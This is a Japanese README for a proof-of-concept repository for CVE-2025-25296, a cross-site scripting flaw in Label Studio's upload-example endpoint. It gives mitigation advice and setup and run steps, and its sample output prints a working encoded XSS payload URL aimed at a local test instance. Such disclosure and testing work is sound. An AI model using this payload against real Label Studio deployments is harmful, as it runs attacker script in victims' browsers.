
このプロジェクトは、オープンソースのデータラベリングツールであるLabel Studioに影響を与えるCVE-2025-25296の脆弱性に対する概念実証(POC)を示しています。この脆弱性は/projects/upload-exampleエンドポイントに存在し、GETリクエスト内のユーザー提供のHTMLコンテンツをサニタイズしないことが原因です。これにより、攻撃者は被害者のブラウザで任意のJavaScriptを実行でき、クロスサイトスクリプティング(XSS)攻撃につながる可能性があります。
/projects/upload-exampleエンドポイント1.16.0以降に更新する一時的な回避策として:
/projects/upload-exampleエンドポイントを使用しない。setup.shを使用してpipでインストール)poc.py: 脆弱性を悪用してXSS攻撃を実証するPythonスクリプト。setup.sh: Dockerを使用して脆弱な環境をセットアップするスクリプト。このリポジトリをクローンします:
git clone CVE-2025-25296-POC
cd CVE-2025-25296-POC
セットアップスクリプトを実行します:
chmod +x setup.sh
./setup.sh
セットアップスクリプトは以下を行います:
1.15.0)をプルします。localhost:8080で脆弱なLabel Studioインスタンスを実行します。エクスプロイトスクリプトを実行します:
python poc.py
スクリプトは以下を行います:
/projects/upload-exampleエンドポイントに細工したGETリクエストを送信します。提供されたURLをWebブラウザで開き、ペイロードによってトリガーされるXSSアラートを確認します。
[*] Attempting to send XSS payload...
[+] Payload successfully sent!
[+] Check this URL in a browser: http://localhost:8080/projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob(%60YWxlcnQoIlhTUyIp%60))%3E%3C/div%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22/%3E%3C/View%3E
この脆弱性を緩和するには:
1.16.0以降に更新します。このプロジェクトは教育および研究目的のみを対象としています。責任を持って、明示的な許可があるシステムでのみ使用してください。このツールの無断使用は、該当する法律に違反する可能性があります。